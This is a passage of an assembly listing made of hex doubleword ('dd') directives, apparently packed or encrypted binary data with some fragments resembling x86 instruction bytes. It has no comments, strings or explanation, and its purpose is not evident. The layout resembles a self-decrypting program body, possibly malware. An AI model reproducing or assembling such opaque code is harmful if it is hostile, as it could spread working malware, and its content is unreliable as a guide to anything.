4DB987E3h dd 672F0E97h, 3094A2F8h, 0AECAEBC9h, 0D5B13390h, 5EC77DEBh dd 7CE0417Fh, 258CC4E5h, 0A33AAA1Bh, 0A4C04DE5h, 74B07D3Bh dd 0D22C5ECFh, 1A824E67h, 0E2F5911h, 0A8A2F0ABh, 29BD247Bh dd 8CEh, 5CF567DDh, 0EB420262h, 66CF6DD5h, 0DC75E758h dd 69C084E2h, 0D7BE14Bh, 65C0FE57h, 0F96856FFh, 6FD4EA43h dd 7C185CF5h, 0E6D038E3h, 75C791C2h, 1671D64Fh, 0B19054B1h dd 28D34C28h, 0A1C93094h, 1980A180h, 0AF06BE27h, 168949E9h dd 0C9309463h, 7BE95A64h, 0C3E2C3E2h, 0B54A38A7h, 0A283CF74h dd 73F1A43Bh, 98E3C2ECh, 8F3DA98Eh, 33F6FBB0h, 44000000h dd 76129B37h, 1466DE48h, 8785877Bh, 0CCA8E0DEh, 7424C953h dd 0B82100CFh, 0DD7FE2DCh, 0B22D6544h, 0C2EC2403h, 0BFA48EF5h dd 0FBB04347h, 0D9ECh, 0D64F5E00h, 0F16E0A6Eh, 0C930944Ah dd 73EAA283h, 0F069DB4Dh, 3B0DE694h, 6C36DFFFh, 3BA91A24h dd 0BD279CA2h, 7CC98B14h, 2C12C930h, 0B5940DB7h, 0E262C3FDh dd 710754Bh, 0EE8A7D5Ch, 0CD5475ECh, 0CAAEE78Bh, 8D2F90AEh dd 0E2905AC5h, 0F8D9CF73h, 327B1751h, 57FC6856h, 0CD5475EFh dd 0A4C0A4ECh, 0DD9C5FC0h, 0C2DC2EBh, 856BDB44h, 0C3E2C932h dd 0B52F99A7h, 0C874EFD1h, 7991A3BAh, 0DB93D772h, 6ADA4C72h dd 0EE6BEECFh, 1F8B127Dh, 79Ah, 8A11B89h, 0BF16CE36h, 12BB2181h dd 0A009B32Ch, 15BC289Eh, 990FED37h, 49BC822Bh, 950C329Bh dd 53B08E27h, 187C3891h, 0E6CED487h, 11A3F5C2h, 0F6BD94Fh dd 9445F46Bh, 0BA82C930h, 0CA62622Dh, 86CEEF99h, 30B4112Fh dd 9B372B99h, 0DE487612h, 0D54A2E66h, 0CF749F47h, 0A13EA786h dd 0C2EC88F6h, 0AC919DE6h, 0FBB0A838h, 0C9FDh, 0D64F4F00h dd 5FC9F76Eh, 26187CE5h, 0BF9E07BDh, 98AA68F7h, 3AABC930h dd 0A81D238Ah, 0A33C583Ch, 0C93090F8h, 21B8F0D1h, 2642CB67h dd 7493F3B9h, 0B21B3ACFh, 0B945CF4h, 0C2EC9350h, 1D795879h dd 33381182h, 31AECAC9h, 0C92DF08Ah, 27436243h, 0B52AAF19h dd 8B307507h, 0A99A22FAh, 21452188h, 2DC4FBBEh, 0A5EDCCC9h dd 12B72D9Bh, 7DEE6225h, 0B74EDA43h, 0E6000006h, 5769C07Ch dd 0E2DC75EFh, 4977DE7Eh, 0F3CD64D8h, 0A4862F95h, 0BE26807Ch dd 6BE2917h, 8A3291AFh, 3CA81D23h, 2AB5D195h, 0C2E6CE6Fh dd 4FBC0E58h, 0FCC26BD9h, 0DDB9DD87h, 30949742h, 0C44230C9h dd 0D6ED68DCh, 70D991B0h, 0F44A6614h, 0B9F84BAh, 0D64FF143h dd 5CC9F76Eh, 1B2541E8h, 5B72AA7h, 0D49CBD9Ch, 30948C4Bh dd 28650DC9h, 579CD34Ch, 0F1CFCF7Ah, 15632B91h, 0D1356567h dd 416092AFh, 0BA254125h, 0C2E738FFh, 9FA1E9C8h, 7317BE26h dd 0F79D64Dh, 0CCED7455h, 9B49BA84h, 61AC4402h, 64B09A05h dd 1839C92Bh, 0E1DD80BDh, 39AD347Dh, 602h, 0A009B311h dd 17BE269Eh, 0AA03B929h, 18B12B94h, 0AD04C026h, 51B7A58Fh dd 0A1043A93h, 4DB48A23h, 0B7846EFh, 0D0B4F059h, 0E6CD8C4Fh dd 0D96B3DC2h, 9BB2B15h, 0C7F9B190h, 1B7FE65Eh, 9439E07Fh dd 6ADAC930h, 0E5AD8CFAh, 63FA6ADBh, 0C127197Dh, 0F3BB9A03h dd 54B19E88h, 5BCAF490h, 195170E9h, 0B31E86B0h, 0CD701F4h dd 65000000h, 4B82B15h, 16ED84Ch, 156A0000h, 4E06B62Bh dd 309426D1h, 1A8BB5C9h, 5A1233AAh, 0BA26741Ch, 9BBA9B02h dd 582260FFh, 0D69CF7Ah, 0E6D0E792h, 8537A8C2h, 0EC9AD2F3h dd 2E97A9CDh, 0C4211FB6h, 33DF9900h, 2B019EFAh, 0B0C92AFDh dd 0B42C10C2h, 3A044189h, 2B5D15C7h, 1ACAF0Ah, 49D07DE1h dd 531DDh, 5A026000h, 0EB59CDF3h, 58047C42h, 0EA52CFF1h dd 590B7D43h, 0D24AD2F0h, 6759F074h, 0D3ED4400h, 5B65CC70h dd 97D37AEAh, 0CCAD6CF3h, 481EC2E6h, 6ED64FFAh, 0E85CC9F7h dd 0EE4EB28Ch, 5A213FA6h, 420263D0h, 0B369DDEBh, 78A01F4h dd 38000000h, 0BFE5h, 9B375700h, 60127612h, 6E2046C0h dd 0BE269E80h, 6F270627h, 79BAC7F0h, 412504CFh, 655B097Fh dd 680C4400h, 0DE77ED56h, 58C183E0h, 5F3B721Eh, 4A0CD02Dh dd 357DEFF6h, 256CCE51h, 0FCDDC931h, 0C23DA698h, 2FA39E5Dh dd 2F0E2FC9h, 1986E286h, 0C92FA362h, 3C024A6Bh, 0C2841DC7h dd 0B672B42Eh, 0A3AE14BEh, 0BF79E682h, 0ECF743Dh, 0F46DCF30h dd 5851F4D5h, 0AC7BA8C2h, 460A135h, 0D54F0000h, 94F0CE67h dd 0DB4779D0h, 89F6C861h, 0E2447AD3h, 3FE9CB62h, 50F96BDDh dd 0E44DF76Eh, 5CF567DAh, 0EA430162h, 0A655CAAEh, 27C2E6CBh dd 6715C371h, 9604931Ah, 0B42F114Ch, 23D44008h, 66000001h dd 9B0D9B37h, 3213C936h, 0CFAB8AABh, 7A582750h, 2C9AA4CFh dd 0C3FD99B8h, 0D884FD62h, 0F56E50F9h, 0A9592B4Fh, 9B02F3Bh dd 0C2C2E762h, 988791E3h, 4F0990D8h, 6A0E6AA3h, 0E70746F5h dd 0EEA687C2h, 0CAC7158Ah, 2706C930h, 5C087D43h, 0EA5ACBF5h dd 0EF55B08Eh, 645A3EA7h, 4D0B4301h, 680C68A5h, 5603BE1Ah dd 4024FD65h, 2FE41CDFh, 0C48CADC9h, 74009D5Bh, 0A80D2CCFh dd 7BA801B7h, 9BEC78E1h, 8A000003h, 330DA418h, 86B811D3h dd 350BA21Ah, 87B910CCh, 280AA321h, 3AAA1C00h, 8A3AAD93h dd 36A61D23h, 8044A19Fh, 96096D29h, 0C2E6CAE3h, 1500B2E4h dd 4109BB2Bh, 0E441067Fh, 7DE75E60h, 7DE4C5E4h, 3C12719h dd 5410754Bh, 7EA8D3CDh, 19B03491h, 0F4B3B72Fh, 122C4801h dd 0B5940DAFh, 30A06F2Ah, 317958C9h, 3561h, 9B37D300h dd 0BF26960Dh, 22BB2181h, 67032203h, 1ACA3D03h, 75EAA283h dd 0CF74E317h, 2D137756h, 31AE07B5h, 0C2EC4687h, 862F950Eh dd 0D9448B8h, 2FD99h, 0D44F2B00h, 56CFF168h, 0C7947EEh dd 86FFC158h, 2084BADEh, 221C3DA4h, 0E04901C3h, 0EEBDF684h dd 3AE1F20Fh, 3023F6A5h, 0D7F6D7C9h, 0FC39D99Fh, 451D0798h dd 9DBCCF74h, 43DC9B04h, 0A7DCC2ECh, 5F2E967Bh, 41C7FBB0h dd 75000000h, 0ABA2B15h, 944AF16Eh, 0A283C930h, 8904ACEAh dd 631689EDh, 64C93094h, 0F6690D45h, 0CF749F64h, 821D84A5h dd 0C2EC88D3h, 8F74BEC5h, 0FBB0A817h, 0C5DCh, 1B86B800h dd 9943BEh, 0FA480021h, 0F76ED64Fh, 81E55FC9h, 29B49BFh dd 0CCF26B23h, 4A74ED57h, 0AB12ED9h, 0C3C93094h, 0F56AC3E2h dd 0C930983Fh, 0BE17CD36h, 0C5A12380h, 917B3EA1h, 6D4CC930h dd 74FF553h, 0FD38D89Eh, 0B3780699h, 2F4BCF74h, 0EC7309B0h dd 0ABE3C2C2h, 1355FCDDh, 0CD52367Fh, 0C9331BC0h, 2C7211Fh dd 99B821A3h, 0A786F0B8h, 0D98BFDC3h, 6CD84E70h, 0EE3B2CC9h dd 0D541D87Dh dd 1FAh, 0A801BB29h, 1FB62E96h, 0B21BC121h, 0A9138Ch, 0B51CC83Eh dd 39AF8D97h, 0A91C228Bh, 35AC923Bh, 0B3102E87h, 0B8DC9831h dd 0E6C97427h, 0B10355C2h, 0C26BD94Fh, 0EC0ED4A6h, 9C61351Ah dd 0CB79EAD4h, 9B37D062h, 53E97612h, 0BACF749Fh, 0DA9D029Bh dd 0DAC2EC88h, 0A12380BEh, 2A511938h, 132D4900h, 0B7960FB5h dd 0EC897128h, 33B112C2h, 0FBBE2145h, 0CCC2EC88h, 0B284CCEDh dd 0FBB0A852h, 0E5E3h, 0D64F5100h, 5FC9F76Eh, 7AE581E5h dd 0C93094BFh, 0F8612908h, 9E3EA29Ch, 0F16E2607h, 0C9309843h dd 0E8930C68h, 0E1C93090h, 4DB688C0h, 89A81C88h, 3FA51E20h dd 40FD655Bh, 0C6E77EE6h, 7036AFE7h, 553155E0h, 59556D27h dd 0B437002h, 743C0A94h, 8EF5CBCFh, 0C2A60F2Eh, 0E3451DB0h dd 65FAC80Ah, 0C2EC73B6h, 65173617h, 74F14109h, 0EBADE5DBh dd 0CEAACE47h, 0EC02AA51h, 4A0223C2h, 0A75DB12Eh, 0B190C932h dd 0C77DEBD5h, 4EF6506Eh, 0EE8500EBh, 39AD347Dh, 0E2h dd 0C069D331h, 77DE86FEh, 0CA63D949h, 78D18BF4h, 0CD64E046h dd 71D745EFh, 1645AF3h, 6DD4EA43h, 0EB5866CFh, 0F094D079h dd 0E6C8AC6Fh, 0F94B1DC2h, 59BA2B15h, 0C3EBA857h, 0D0496821h dd 0B97453A2h, 120C89Fh, 53117749h, 0E55FC4FAh, 0D64FFE4Ch dd 5CC9F76Eh, 572541E8h, 0C386E578h, 2C6A22EEh, 1F6D0984h dd 32A41C8Ah, 0E185CDF8h, 79FB417Eh, 33AE90CFh, 79311089h dd 89B72E0Fh, 3F01A81Ch, 18871EC6h, 321D3124h, 5DC481E1h dd 3547DEFFh, 2F654A9Dh, 89F6C889h, 2F544AD3h, 39420903h dd 21A300EDh, 974DB688h, 8C186A0Eh, 0AB39C9Ah, 0F768561Eh dd 0DFA4DC45h, 0D87DE653h, 4E6FF66Eh, 9CA2C66Fh, 4420B923h dd 0B18120DBh, 0A988A95Fh, 0FE66DFE1h, 8F367h, 0A9970000h dd 72C0883Ch, 0D54FFB49h, 63C0FE67h, 0DB4678E1h, 5FC6F861h dd 0E4427CE5h, 61C7F960h, 0DB447AE3h, 5AC6F861h, 0E1457BE2h dd 68EDFA63h, 1608h, 68241C89h, 1D4Ah, 81243489h, 4ECh dd 24148900h, 0CDD6850h, 0F75807E1h, 2F352DD0h, 8150F1D5h dd 666C242Ch, 815E296Fh, 6F666CC6h, 0EC835829h, 24248904h dd 4240481h, 5A000000h, 8904EC83h, 0F789243Ch, 5F087A89h dd 5A2434FFh, 4C481h, 34FF0000h, 0C4815E24h, 4, 0FAB129E9h dd 62F16DFFh, 8CFA4283h, 4274E332h, 0B82C42B5h, 649CD85h dd 0E0FFC503h, 34BD7ABBh, 84DA02Ah, 674DEC9Bh, 0C1BEAC0h dd 0D27801h, 3BAE67Ah, 1FDC7D1Ah, 5C7E7D3Ah, 63EE49EEh dd 5BC14B08h, 70CCA4F5h, 43E4A058h, 46550243h, 5C627A58h dd 336C5011h, 216E5498h, 11013736h, 5C0EFEE5h, 75948840h dd 5B746099h, 62C6294Dh, 11C59F9Fh, 6A095CEAh, 22EA6ADDh dd 3124D969h, 0BB44195h, 0EEF22Ah, 20ACA2D5h, 421E0E96h dd 181588B3h, 0D6C97E5h, 0BD83C08Bh, 64420CDh, 83097500h dd 440B25BDh, 19740006h, 0C08B5350h, 3FCB8h, 0F5858900h dd 8D064402h, 46A84F9Dh, 5BD3FF06h, 25BD8358h, 6440Bh dd 53501774h, 3FCB8h, 0F5858900h, 8D064402h, 46A53E9Dh dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1804h, 0C3574700h, 0A8FE906Dh, 6CBA6663h, 26D28024h dd 0D88BC08Bh, 2F11BD83h, 0F010644h, 9184h, 51006A00h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 3B728F0Fh, 15AA6C17h, 0BA662A5Ch, 0BD83E254h, 6443149h dd 5B850F00h, 0E8000000h, 6, 0B48AB10Ch, 840FBF03h, 2 dd 835BCDB3h, 442381BDh, 840F0006h, 0B2h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 1Ch, 74C35646h, 0A6F3BA9Bh dd 0D71C02Bh, 11E9h, 7B539F00h, 6C41937Eh, 0CA57412Ch dd 69A36491h, 6FE9AE23h, 6A000005h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0B3A6C355h dd 0F97D91F5h, 13E8178Dh, 88000000h, 0F5EE9174h, 6D45236Eh dd 0BDA9CA9Fh, 202785BAh, 0BE9B61Fh, 24000000h, 0DACCB176h dd 62DEDE62h, 665AACFAh, 0BE2FE281h, 0 dd 6AD9B7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 75DA57C3h, 0C6E260C7h, 5D5CEFE1h, 626F3D17h dd 0CF73F71Bh, 0C0BA90D7h, 0C049585Bh, 0BF14B05Bh, 54068516h dd 9B3F26E7h, 80DAD4E6h, 83044778h, 13F431CDh, 0CD75972Bh dd 0AA8D4F00h, 0C346E55Bh, 0E057B05Bh, 49F67306h, 41D19437h dd 0DAEE941Fh, 8575B05Bh, 255730Eh, 80128C27h, 417F3A38h dd 59081290h, 0C6AC5968h, 0C0BFB05Bh, 0C0E9580Ah, 9955B05Bh dd 8C33E998h, 84DCB47Fh, 0C0B8B47Fh, 9116B05Bh, 2E1BC898h dd 0A1B5E10Ch, 28BFEB01h, 0C075B05Bh, 62573106h, 0AA5BF98Bh dd 0C346E15Bh, 0E057B05Bh, 49F27302h, 41D19417h, 0D4EE941Fh dd 8175B05Bh, 0CF82730Ah, 0C0376BE4h, 0C0AD580Eh, 9D77B05Bh dd 0AC22ED98h, 8454B47Fh, 0C0FFB47Fh, 9530B05Bh, 9734FC98h dd 0D69F313Dh, 0D446EBC4h, 0AB57B05Bh, 9D407CCBh, 2C8F4774h dd 0EA5D9E72h, 0C5F2CD24h, 9172406Ah, 0C05DBAB2h, 0EE161D5Bh dd 0D255608Bh, 9AFD192Eh, 93153B00h, 0C0EAB5B2h, 2D70CB5Bh dd 91E13F4Bh, 0C05DA1B2h, 3C0D795Bh, 6BBA1E25h, 0A565628Ch dd 1D9FC1FCh, 50B17852h, 2827E00Dh, 0C0BAB04Ah, 0E1AA4CB1h dd 0BBB28C60h, 2C9EEFEAh, 0B2855A9Dh, 0F1DAEADFh, 9A3A3B3Dh dd 0CF25EB03h, 0C0BA83DEh, 0C049585Bh, 0BFAFB05Bh, 0D15AA2D1h dd 0C01CE420h, 77507A08h, 3F3FDD90h, 0D49CCB94h, 0D6BAB05Bh dd 3FAF92ECh, 3B8F8759h, 65F996D1h, 0F716243Bh, 9B11B1F9h dd 97EADACBh, 0C075B3B3h, 3E5905Bh, 0E4213904h, 0E4EA315Fh dd 0C057A85Fh, 3FCF75Bh, 29238EE7h, 288B0751h, 0C075B051h dd 5AB7D557h, 664CAE39h, 29F87832h, 0C057B04Bh, 33582DE4h dd 2E59C652h, 6CC5DC51h, 0DE54601Eh, 0C1B5EA00h, 98A39417h dd 28FCB031h, 0C057B058h, 9A68EA7Bh, 0C4F1E4D2h, 0C4CEF4DAh dd 0C075B043h, 0FA79E219h, 3C00D6F9h, 0A0F967D0h, 0C6F6DCE5h dd 31CBF25h, 0CCD0EB3Ah, 0AAEAB059h, 0C39DE75Bh, 0E0BAB05Bh dd 49027304h, 41AA9427h, 0DD53941Fh, 87ABB05Bh, 36AC730Ch dd 92F91F19h, 0B0B0DA3Fh, 0A0DA14ECh, 0C05DA0B2h, 7FDB105Bh dd 48535ECh, 7259170Bh, 8568325Ch, 0F00931DCh, 0A1205CD1h dd 0C0BABEB3h, 1974215Bh, 5302096h, 7C41B2B7h, 91584BC3h dd 4BB4E901h, 91EADA53h, 0C075B3B3h, 3E3905Bh, 0E4113902h dd 0E4EA315Fh, 0C057A95Fh, 3FAF15Bh, 7FEBA716h, 4B8C3B9Dh dd 0D09D4C13h, 96BAB05Bh, 2741D859h, 908AB8BCh, 6996B79Ch dd 299A79E1h, 0C0D5B056h, 0D47BAAE0h, 4E3D00F9h, 1FEDCC50h dd 0C1E5EBF6h, 0AAAEB05Bh, 0C3BFE25Bh, 0E0ABB05Bh, 498F7301h dd 41EE940Fh, 0D471941Fh, 82BAB05Bh, 0A6197309h, 905131E0h dd 17DCD60Ah, 0E4A73901h, 1959D6AEh, 28BCB031h, 0C075B058h dd 9E79EE7Bh, 0C479C4D2h, 0C48AF4DAh, 0C057B04Dh, 3C68E61Dh dd 0C53C44D8h, 8CEAB05Bh, 85E32FF2h, 0CFBE71ADh, 0C05CACDEh dd 0D247E25Bh, 6057B05Bh, 1600B4Ch, 98E73B5Eh, 0BFDD405Dh dd 92F5B77Bh, 90E3EA98h, 3E60FFE1h, 0F92EEB2Bh, 74D2BF33h dd 29ABB05Ah, 0C0D5B04Ah, 2633308Fh, 27FBBCD3h, 0BA889D62h dd 0B1EC8576h, 41C8D0F7h, 0A6986C9Dh, 0A16F6BE3h, 29D4C9D0h dd 0C0EAB05Dh, 39799971h, 3F3B5B85h, 405DB05Bh, 0C1D73254h dd 0C03DB05Bh, 0C0A85808h, 9BF5B05Bh, 9C63EB98h, 84F4B47Fh dd 0C0ACB47Fh, 931EB05Bh, 0D0F34298h, 0B7BD5ADAh, 456CD8BFh dd 0C69C7FB5h, 0C0EAB05Ah, 2820B031h, 0C0BAB058h, 9D9EED7Bh dd 0C48ADCD2h, 0C473F4DAh, 0C0ABB041h, 5A16E51Eh, 44D55A4Ah dd 0D19CA88Fh, 0FBBAB05Bh, 8700E372h, 0ED018C07h, 0CCECCA83h dd 0F988B228h, 0C0D4A1B2h, 92EADA5Bh, 0C075B3B3h, 3E0905Bh dd 0E4093901h, 0E4EA315Fh, 0C057AC5Fh, 3F9F25Bh, 92DDB5B7h dd 303C18C0h, 0C09059BCh, 0C0D0B05Bh, 0C05E580Ch, 9F8EB05Bh dd 0BCDEEF98h, 842AB47Fh, 0C0C3B47Fh, 97ADB05Bh, 4E1C3498h dd 7749313Dh, 0C037E93Bh, 0C0AD580Bh, 9877B05Bh, 8422E898h dd 8454B47Fh, 0C0FFB47Fh, 9035B05Bh, 0A0E74F98h, 0A08E3B3Dh dd 0CE4772D0h, 7057B05Bh, 70920062h, 70EC0062h, 70D30062h dd 2914D162h, 0C0BAB052h, 0FA95332Bh, 6384C3EFh, 0B9D4D60Ch dd 44A44F50h, 0C0D5B034h, 28BFB031h, 0C075B058h, 9D79ED7Bh dd 0C479DCD2h, 0C48AF4DAh, 0C057B042h, 868E51Eh, 2C53DEB5h dd 0D066BFEEh, 2975B05Bh, 0C0BAB050h, 0D2318F19h, 19139E54h dd 726F8E2h, 89645EDEh, 0C0D5B15Dh, 91EADA5Bh, 0C075B3B3h dd 3E3905Bh, 0E4113902h, 0E4EA315Fh, 0C057A95Fh, 3FAF15Bh dd 121AD0BDh, 41BB0A8Dh, 9A2DD881h, 0BC00EA35h, 887391CBh dd 0BB176AD0h, 4D30D4E8h, 897D7EDEh, 0E8683D5Dh, 0FBECF98Eh dd 0F072C4A3h, 87736154h, 0C03745B0h, 0C0AD580Eh, 9D77B05Bh dd 0AC22ED98h, 8454B47Fh, 0C0FDB47Fh, 9530B05Bh, 0A9D11698h dd 0A6873BC0h, 66AE73DAh, 0EF460DD8h, 0CFAAB61Fh, 0C0D53BDFh dd 0C0E6595Bh, 20EB05Bh, 88A7ADCBh, 0E68728AEh, 7D2DD6A5h dd 0C6138112h, 0AD2EBF5Bh, 0AAD5B05Bh, 0C302E55Bh, 0E075B05Bh dd 49E77306h, 41599437h, 0DBAA941Fh, 8557B05Bh, 37B4730Eh dd 7D2D0191h, 4EE55468h, 0C075B05Fh, 0A1DBD03Bh, 0A997313Dh dd 41133350h, 0C051F478h, 0C0983454h, 0C0BFB05Bh, 0C0E9580Ah dd 9955B05Bh, 8C33E998h, 84DCB47Fh, 0C0B5B47Fh, 9116B05Bh dd 0F8DD6D98h, 0FDF9B8A4h, 7B8CE056h, 7A2E71B4h, 0C68B26DDh dd 0C05D24B2h, 0D113335Bh, 0C151F474h, 0C0D93554h, 0C0BFB05Bh dd 0C0E9580Dh, 9E55B05Bh, 0B433EE98h, 84DCB47Fh, 0C0B9B47Fh dd 9611B05Bh, 7EB5C998h, 0C0BFED6Ch, 0C0E95808h, 9B55B05Bh dd 9C33EB98h, 84DCB47Fh, 0C0B8B47Fh, 9314B05Bh, 0C6279E98h dd 2AF42DAh, 0CF29811Ah, 0FA9C6EE4h, 0AABAB05Bh, 0C3B5E75Bh dd 0E0AEB05Bh, 49087304h, 41AF9427h, 0D4D1941Fh, 87EAB05Bh dd 0CFF8730Ch, 0A6E861ECh, 9A2E69E0h, 1C15D606h, 0F7D07E1h dd 0C0ABB5B3h, 53D6985Bh, 2459822Fh, 0D0C83D01h, 4DBCF98Bh dd 898B2BD6h, 9CB3085Dh, 4564CB61h, 0C6EFAA56h, 0BB177F70h dd 4D30D4E8h, 897D7EDEh, 0E8683D5Dh, 0FBECF98Eh, 0F072C4A3h dd 87736154h, 5E983B0h, 0BD83A4F3h, 649CFEEh, 8D0D7400h dd 444E558Dh, 1B806h, 0E1FF0000h, 0A96DBB40h, 0E88331F2h dd 0C08BFC2Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 9CC35040h, 0CE80777Ah, 0CDBD8337h, 64420h, 0BD830975h dd 6440B25h, 50197400h, 0B8C08B53h, 3FCh, 22298589h, 9D8D0644h dd 646A8B6h, 585BD3FFh, 0B25BD83h, 74000644h, 0B8535017h dd 3FCh, 22298589h, 9D8D0644h, 646A557h, 585BD3FFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 7CC35242h, 0EE80918Ah dd 0FE879h, 0F800000h, 79C2DA2Ch, 0A6648E4Bh, 0C862D486h dd 0D3B70F03h, 53006A5Ah, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1C04h, 0C3534300h, 0F3DE519Fh, 0F72AFF0Ah dd 0CA8166EFh, 0C08B536Fh, 98E9h, 9400h, 500h, 100h, 0A2800h dd 200h, 20h dup(0) dd 0E636F900h, 0C0CE90Fh, 0AB680000h, 0E90649D9h, 0FFFAA6C2h dd 49DAB868h, 0A6B8E906h, 0AD68FFFAh, 0E90649DBh, 0FFFAA6AEh dd 49DC3468h, 0A6A4E906h, 0DA68FFFAh, 0E90649DDh, 0FFFAA69Ah dd 49DE3C68h, 0A690E906h, 9C68FFFAh, 0E90649E1h, 0FFFAA686h dd 49E2A068h, 0A67CE906h, 71D3FFFAh, 0E85C62CBh, 77EBD57Ch dd 0ED526CC5h, 6ED8E64Fh, 0B37D5FF6h, 0CC65DF49h, 78D193F2h dd 0C861DB46h, 7ED78DF6h, 1AC15E3Ah, 0B3C2E6BCh, 0D64F57E5h dd 5CC9F76Eh, 6B0741E8h, 1C224622h, 84A53CA8h, 94BC7FE0h dd 2C0DC930h, 0B509FB64h, 6140CF74h, 74B067F8h, 5B20C2ECh dd 8FFA6ACFh, 3D3BFBB0h, 5F000000h, 0C75E0661h, 371CAEE6h dd 2A9A0D9Bh, 6AF06F0Bh, 0B1CF749Fh, 0E6AE168Fh, 0B728B190h dd 0C2EC8900h, 3BAA94F0h, 0E92E53DAh, 93B2B6F1h, 18632B0Ah dd 5BD290Eh, 0B376FBB0h, 0C4000000h, 0F76ED64Fh, 7CE55FC9h dd 0FA63E142h, 4CE55FC4h, 30989FD3h, 0A82D96C9h, 3B1A8339h dd 524A005h, 0B33192ACh, 49C46C2Ah, 0C77492Dh, 0C5871850h dd 4CF7492h, 26CA8C25h, 0F66990F0h, 0C2EC8E43h, 0A584A584h dd 36E65EC1h, 5967C933h, 335776EEh, 80299B0Dh, 5C1F80E4h dd 6DC92DE6h, 0CC3A044Ch, 682FBD18h, 0C8517DEEh, 0A085Ch dd 0DE7EE400h, 67DD4977h, 2C90F0CEh, 9646BB85h, 3DA7013Fh dd 8E6EB694h, 3B05AC18h, 8FB118CCh, 3F01A814h, 0F3B71EC6h dd 0BB510897h, 2C7AC2E6h, 6BD94F9Eh, 0DD87FCC2h, 795CBB9h dd 27E0B749h, 6D2504C0h, 2B1576C4h, 0B19009BBh, 0DF13BFF9h dd 30949940h, 2D1332C9h, 0B19009BBh, 0D16BF490h, 38CF749Fh dd 581F8019h, 58C2EC89h, 294C4E3Ch, 846A2188h, 866BB7CCh dd 0FBB0781Eh, 0CDD7h, 0D64F6500h, 0D1340A6Eh, 829930Ch dd 8455E391h, 3FD49EB9h, 0C4201Eh, 79EFD148h, 85CD52CBh dd 88C93007h, 0C873EC1Bh, 1C92FFFh, 96A80120h, 682EB72Dh dd 63D71EC8h, 50ECD6F5h, 4E6F4EF6h, 1DF7B52Ah, 1736CF74h dd 0DD58F8BEh, 0BEAD26B9h, 4F6EC932h, 29D04F2Bh, 0A2C92DB6h dd 0CBAFCB83h, 0D0308DF5h, 0F5D4F56Ch, 0B64B0E91h, 5D7CC92Dh dd 18BD2B15h, 6BE27ACh, 69FBE9Fh, 91AF0627h, 0B0288D37h dd 0E67DEE18h, 8FBEB7Fh, 8DF70000h, 4CB8862Fh, 930F3198h dd 41BE8029h, 9A0C329Bh, 77A1832Ah, 8A12385h, 0BC15CF36h dd 14BD1F82h, 0A20BB92Ah, 5E1D82E6h, 6FC2E6BAh, 0D94F8B39h dd 87FCC26Bh, 2E1074DDh, 0B2930AB2h, 0D64F48FAh, 5CC9F76Eh dd 6B0741E8h, 0CDD94622h, 0CF7A6Bh, 0A7B4521h, 88FDC35Ah dd 0D1B5FDDCh, 72D176EFh, 0DD42EBCAh, 0C2E6BDAEh, 872E670Fh dd 29C93E34h, 491788ECh, 88C92AC0h, 8914BB6h, 526C0829h dd 0F7D64FEDh, 7660FFBFh, 0C55CEBB7h, 727B3EA1h, 724C356Bh dd 0C78FAE0Eh, 0C0A4F181h, 0AF8A815Fh, 29B6D23Bh, 33AF5F72h dd 44327A5Bh, 16BAFC65h, 5F9645DAh, 47F33AFh, 2E0F2E58h dd 0D6D1D54Ah, 2D0C39F6h, 560E7749h, 8DFF9BFFh, 0A9E15F29h dd 9645DA03h, 37356A32h, 0A3DE7745h, 4C6D6BD8h, 4C93A04h dd 0BB1E3F9Dh, 0EE2A84D5h, 66EFA63h, 0E2000008h, 4B75DC80h dd 0FEC069DBh, 4D73DA82h, 0FFC168D4h, 5072DB89h, 72F254C8h dd 0C282E5DBh, 4EEE556Bh, 0F86CD9E7h, 0EE711551h, 0C2E6B92Bh dd 3778CA9Ch, 476129Bh, 0A8DF0531h, 395D15C5h, 5BC52F5Dh dd 611C857h, 9BBAC930h, 89F0E8E9h, 0F0465EC1h, 0AB95CF79h dd 0B4289936h, 8AABDD95h, 0B574D0EEh, 39A6168Bh, 0C2E6E982h dd 0E24B6A4Bh, 65FC68DCh, 1CC83F01h, 0D2ECA485h, 2256F371h dd 0D87BA56Dh, 77FD541h, 97B0000h, 60C4FA53h, 0F734DE4h dd 0C53A04ADh, 2680BE17h, 0EB3517BEh, 4AD1771h, 0B019CB3Ah dd 0A9138Eh, 0B61FC53Eh, 520996F2h, 7BC2E6B8h, 9B379F2Dh dd 726960Dh, 6BE8FC63h, 425CF7Ah, 0E09B0460h, 0E9C2E6BCh dd 8833ACC8h, 41C2E6BDh, 724C2860h, 0BCFA5311h, 0EC1D8218h dd 38345EBCh, 5372531Eh, 0DCC5337h, 0F6C2E708h, 81A0D68Eh dd 9332ADC9h, 46C2E708h, 5EF09234h, 1D231B54h, 82A33AAAh dd 49DBCCAh, 0E715DD9Bh, 803CA4C2h, 2BA2719h, 0C46E159Bh dd 0AA740F48h, 2DEC7317h, 9EC2E716h, 65C1F7BFh, 8EFBAB31h dd 57h, 0BA2B153Ch, 0FAB2930Ah, 0F99D18BCh, 3094B766h dd 78780AC9h, 23A10406h, 464E1551h, 0C059780Eh, 3088985Fh dd 5A0261C9h, 0D98BFDC3h, 0BB2440h, 0C9C93088h, 111D66E8h dd 9801BB24h, 0BBDF98B9h, 0EBA32185h, 45A18690h, 0EE01F4A3h dd 7, 1CAE55Ch, 15570000h, 0D34CBB2Bh, 0C9309428h, 38A180A1h dd 0BC2719h, 43F0B899h, 64C2FC4Fh, 42EEA8E0h, 6E30AFCBh dd 0AFCF7497h, 3ED83191h, 2B31D2A6h, 4FBBC9E8h, 7583A737h dd 25410120h, 58047F41h, 0BC7FE0C1h, 0DC2EC30h, 96FB642Ch dd 0E77296DFh, 39A6C24Bh, 2585E167h, 0F774C6B4h, 5DF42AA0h dd 26426315h, 2C70A454h, 276F30C4h, 8E58F8BEh, 0E959BBD7h dd 0B9CBEA73h, 89A81827h, 377272EDh, 8AAB1FCDh, 0A273D0EEh dd 944196DBh, 204465C7h, 763EA61Eh, 0C084E1DFh, 1081F65h dd 0CC58C1D4h, 5D9h, 248D2F95h, 